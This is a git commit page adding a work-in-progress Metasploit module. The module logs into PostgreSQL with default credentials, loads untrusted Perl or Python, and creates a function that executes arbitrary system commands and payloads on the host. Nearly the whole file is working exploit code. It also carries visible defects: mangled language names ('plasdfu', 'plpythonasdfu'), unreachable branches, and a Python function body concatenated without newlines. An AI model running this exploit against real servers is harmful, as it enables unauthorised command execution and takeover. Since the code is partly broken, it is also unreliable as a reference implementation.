Pushing now. Still working on it.

bug/bundler_fix
Micheal 2015-12-26 17:53:52 -05:00
parent 6eda702b25
commit fa3431c732
1 changed files with 301 additions and 0 deletions

View File

@ -0,0 +1,301 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/postgres'
class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
'Description' => %q{
Some installations of Postgres are configured to allow loading external scripting languages.
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
To execute system commands, loading the "untrusted" version of the language is necessary.
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
and has been tested on OS X, Windows, and Linux.
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
},
'Author' => [
'Micheal Cottingham', # author of this module
'midnitesnake', # the postgres_payload module that this is based on
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
],
'Platform' => %w{python linux unix win osx},
'Payload' => {
'PayloadType' => %w{python cmd}
},
'Arch' => [ARCH_CMD, ARCH_PYTHON],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => ''
))
register_options([
OptString.new('USERNAME', [true, 'The username to the service', 'postgres']),
OptString.new('PASSWORD', [true, 'The password to the service', 'postgres'])
], self.class)
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
def check
version = postgres_fingerprint
if version[:auth]
return CheckCode::Appears
else
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
return CheckCode::Safe
end
end
def exploit
version = do_login(username, password, database)
case version
when :noauth; print_error 'Authentication failed.'; return
when :noconn; print_error 'Connection failed.'; return
else
print_status("#{rhost}:#{rport} - #{version}")
end
begin
func_name = Rex::Text.rand_text_alpha(10)
load_perl = create_perl
# Decision tree - not clean, but it works.
# If you have suggestions for improvement, please contact me on Github - @micheal
case load_perl
when 'exists'
print_status 'Perl is already loaded, continuing'
createPerlFunc(func_name)
when 'loaded'
print_status 'Perl was successfully loaded, continuing'
createPerlFunc(func_name)
when 'not_exists'
print_status 'Perl is not installed on the target, attempting Python2'
load_python2, ver = create_python2
case load_python2
when 'exists'
print_status 'Python2 is already loaded, continuing'
create_python_func(func_name, '')
when 'loaded'
print_status 'Python2 was successfully loaded, continuing'
create_python_func(func_name, '')
when 'not_exists'
print_status 'Python2 is not installed on the target, attempting Python3'
load_python3 = create_python3
case load_python3
when 'exists'
print_status 'Python3 is already loaded, continuing'
create_python_func(func_name, '3')
when 'loaded'
print_status 'Python3 was successfully loaded, continuing'
create_python_func(func_name, '3')
when 'not_exists'
print_error 'No suitable exploit path found, exiting'
return
end
end
end
selectQuery = postgres_query("SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')")
case selectQuery.keys[0]
when :conn_error
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
when :sql_error
print_error "#{rhost}:#{rport} Postgres - #{selectQuery[:sql_error]}"
when :complete
vprint_good "#{rhost}:#{rport} Postgres - Command complete."
end
rescue RuntimeError => e
print_error "Failed to create UDF: #{e.class}: #{e}"
end
postgres_logout if @postgres_conn
end
def create_python2
create = postgres_query("CREATE LANGUAGE plpythonasdfu")
if(create.keys[0] == :sql_error)
matchExists = create[:sql_error].match(/language "plpythonu" already exists/m)
if(matchExists)
return 'exists', ''
else
#matchError = create[:sql_error].match(/could not access file/m)
matchError = create[:sql_error].match(/unsupported language/m)
if(matchError)
# One more attempt
create2 = postgres_query("CREATE LANGUAGE plpythonu")
matchError2 = create2[:sql_error].match(/could not access file/m)
if(matchError2)
return 'not_exists'
else
return 'loaded', '2'
end
end
end
else
return 'loaded', ''
end
end
def create_python3
create = postgres_query("CREATE LANGUAGE plpython3u")
if(create.keys[0] == :sql_error)
matchExists = create[:sql_error].match(/language "plpython3u" already exists/m)
if(matchExists)
return 'exists'
else
matchError = create[:sql_error].match(/could not access file/m)
if(matchError)
return 'not_exists'
end
end
else
return 'loaded'
end
end
def create_python_func(name, version)
create_python_function = postgres_query(
"CREATE OR REPLACE FUNCTION exec_#{name}(c text) RETURNS void as $$" +
"import subprocess, shlex" +
"return subprocess.check_output(shlex.split(c))" +
"$$ LANGUAGE plpython#{version}u")
case create_python_function.keys[0]
when :conn_error
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
when :sql_error
print_error "#{rhost}:#{rport} Postgres - #{create_python_function[:sql_error]}"
when :complete
print_good "#{rhost}:#{rport} Postgres - Command complete."
end
end
def create_perl
create = postgres_query("CREATE LANGUAGE plasdfu", 50)
if(create.keys[0] == :sql_error)
matchExists = create[:sql_error].match(/language "plperlu" already exists/m)
if(matchExists)
return 'exists'
else
matchError = create[:sql_error].match(/could not access file/m)
return 'not_exists'
if(matchError)
return 'not_exists'
end
end
else
return 'loaded'
end
end
def createPerlFunc(name)
createPerlFunction = postgres_query(
"CREATE OR REPLACE FUNCTION exec_#{name}(text) RETURNS TEXT as $$" +
"return `$_[0]`;" +
"$$ LANGUAGE plperlu")
case createPerlFunction.keys[0]
when :conn_error
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
when :sql_error
print_error "#{rhost}:#{rport} Postgres - #{createPerlFunction[:sql_error]}"
when :complete
print_good "#{rhost}:#{rport} Postgres - Command complete."
end
end
# Authenticate to the postgres server.
# Returns the version from #postgres_fingerprint
def do_login(user=nil, pass=nil, database=nil)
begin
password = pass || postgres_password
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
report_service(
:host => rhost,
:port => rport,
:name => "postgres",
:info => result.values.first
)
return result[:auth]
else
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
return :noauth
end
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
return :noconn
end
end
end